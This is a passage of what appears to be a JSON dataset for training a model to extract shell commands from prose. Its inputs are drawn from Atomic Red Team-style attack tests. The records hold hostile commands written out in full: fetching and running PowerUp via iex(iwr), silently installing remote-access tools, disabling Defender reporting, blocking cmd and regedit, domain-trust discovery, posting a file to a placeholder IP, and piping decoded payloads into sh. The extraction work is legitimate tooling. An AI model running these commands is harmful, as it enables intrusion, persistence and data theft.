Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable Windows error reporting settings for the currently logged-in user, you can use the following command in the cmd console: reg add HKLM64\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\nreg add HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f; You can restrict the user from running specific programs that might help in malware removal by executing these registry modifications via cmd: reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer /v DisallowRun /t REG_DWORD /d 1 /f\nreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun /f /t REG_SZ /v art1 /d \"regedit.exe\"\nreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\DisallowRun /f /t REG_SZ /v art2 /d \"cmd.exe\"\n",
    "output": "{\"command_list\": [\"reg add HKLM64\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\\nreg add HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f\\n\", \"reg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer /v DisallowRun /t REG_DWORD /d 1 /f\\nreg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\DisallowRun /f /t REG_SZ /v art1 /d \\\"regedit.exe\\\"\\nreg add HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\DisallowRun /f /t REG_SZ /v art2 /d \\\"cmd.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The LogMeIn installer will be downloaded to the desktop and executed silently using the following command: Invoke-WebRequest -OutFile C:\\Users\\$env:username\\Desktop\\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi\n$file1 = \"C:\\Users\\\" + $env:username + \"\\Desktop\\LogMeInIgnition.msi\"\nStart-Process -Wait $file1 /quiet;\nStart-Process 'C:\\Program Files (x86)\\LogMeIn Ignition\\LMIIgnition.exe' \"/S\"; The ScreenConnect installer will be downloaded and silently installed via the command: $installer = \"C:\\Users\\$env:username\\Downloads\\ScreenConnect.msi\"\nInvoke-WebRequest -OutFile $installer \"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\"\nmsiexec /i $installer /qn\n",
    "output": "{\"command_list\": [\"Invoke-WebRequest -OutFile C:\\\\Users\\\\$env:username\\\\Desktop\\\\LogMeInIgnition.msi https://secure.logmein.com/LogMeInIgnition.msi\\n$file1 = \\\"C:\\\\Users\\\\\\\" + $env:username + \\\"\\\\Desktop\\\\LogMeInIgnition.msi\\\"\\nStart-Process -Wait $file1 /quiet;\\nStart-Process 'C:\\\\Program Files (x86)\\\\LogMeIn Ignition\\\\LMIIgnition.exe' \\\"/S\\\"\\n\", \"$installer = \\\"C:\\\\Users\\\\$env:username\\\\Downloads\\\\ScreenConnect.msi\\\"\\nInvoke-WebRequest -OutFile $installer \\\"https://d1kuyuqowve5id.cloudfront.net/ScreenConnect_25.1.10.9197_Release.msi\\\"\\nmsiexec /i $installer /qn\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This method, which has been utilized by the Trickbot malware family, involves discovering domain trusts with the command below, requiring nltest installation via Windows RSAT or the Windows Server AD DS role:\nnltest /domain_trusts\nnltest /trusted_domains\n; After installing PowerShell AD admin cmdlets (via RSAT or AD DS role), you can gather AD information with the following command sequence: Import-Module \"PathToAtomicsFolder\\..\\ExternalPayloads\\PowerView.ps1\"\nGet-NetDomainTrust\nGet-NetForestTrust\nGet-ADDomain\nGet-ADGroupMember Administrators -Recursive\n([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()",
    "output": "{\"command_list\": [\"nltest /domain_trusts\\nnltest /trusted_domains\\n\", \"Import-Module \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\PowerView.ps1\\\"\\nGet-NetDomainTrust\\nGet-NetForestTrust\\nGet-ADDomain\\nGet-ADGroupMember Administrators -Recursive\\n([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The script sends an Excel file containing VBA Macro and sensitive data (including ~20 simulated credit card numbers that pass LUHN check) via email with this command: Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments \"#{input_file}\" -SmtpServer #{smtp_server}; The script transmits sensitive data including approximately 20 simulated credit card numbers (passing LUHN check) in an Excel VBA Macro file, executed with this command: Invoke-WebRequest -Uri #{ip_address} -Method POST -Body \"#{input_file}\"\n",
    "output": "{\"command_list\": [\"Send-MailMessage -From #{sender} -To #{receiver} -Subject 'T1027_Atomic_Test' -Attachments \\\"#{input_file}\\\" -SmtpServer #{smtp_server}\\n\", \"Invoke-WebRequest -Uri #{ip_address} -Method POST -Body \\\"#{input_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Attackers often obfuscate shell scripts with Shebang by using base64 decoding, as documented by TrendMicro and seen in LinPEAS. The malicious activity can be performed with this command: echo #{bash_encoded} | b64decode -r | sh\necho #{dash_encoded} | b64decode -r | sh\necho #{fish_encoded} | b64decode -r | sh\necho #{sh_encoded} | b64decode -r | sh; To decode a hex-encoded text string and display it, you can use the following command sequence: ENCODED=$(echo '#{message}' | xxd -ps -c 256)\nprintf $ENCODED | xxd -r -p\necho $ENCODED | xxd -r -p\necho $(echo $ENCODED) | xxd -r -p\necho $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file}\necho $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file}\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p",
    "output": "{\"command_list\": [\"echo #{bash_encoded} | b64decode -r | sh\\necho #{dash_encoded} | b64decode -r | sh\\necho #{fish_encoded} | b64decode -r | sh\\necho #{sh_encoded} | b64decode -r | sh\\n\", \"ENCODED=$(echo '#{message}' | xxd -ps -c 256)\\nprintf $ENCODED | xxd -r -p\\necho $ENCODED | xxd -r -p\\necho $(echo $ENCODED) | xxd -r -p\\necho $ENCODED > #{encoded_file} && xxd -r -p #{encoded_file}\\necho $ENCODED > #{encoded_file} && xxd -r -p < #{encoded_file}\\necho $ENCODED > #{encoded_file} && cat #{encoded_file} | xxd -r -p\\necho $ENCODED > #{encoded_file} && cat < #{encoded_file} | xxd -r -p\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To check for virtualization environments like VMware or VirtualBox, use the following command to retrieve the manufacturer and model information: $Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Manufacturer\"\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \"Model\"\nif((($Manufacturer.ToLower() -eq \"microsoft corporation\") -and ($Model.ToLower().contains(\"virtual\"))) -or ($Manufacturer.ToLower().contains(\"vmware\")) -or ($Model.ToLower() -eq \"virtualbox\")) {write-host \"Virtualization environment detected!\"} else {write-host \"No virtualization environment detected!\"}\n; For detecting non-native Apple hardware, execute this command which examines the hw.model output: if [ \"$(sysctl -n hw.model | grep -v 'Mac')\" != \"\" ]; then echo 'Virtualization Environment detected'; fi;",
    "output": "{\"command_list\": [\"$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \\\"Manufacturer\\\"\\n$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty \\\"Model\\\"\\nif((($Manufacturer.ToLower() -eq \\\"microsoft corporation\\\") -and ($Model.ToLower().contains(\\\"virtual\\\"))) -or ($Manufacturer.ToLower().contains(\\\"vmware\\\")) -or ($Model.ToLower() -eq \\\"virtualbox\\\")) {write-host \\\"Virtualization environment detected!\\\"} else {write-host \\\"No virtualization environment detected!\\\"}\\n\", \"if [ \\\"$(sysctl -n hw.model | grep -v 'Mac')\\\" != \\\"\\\" ]; then echo 'Virtualization Environment detected'; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module 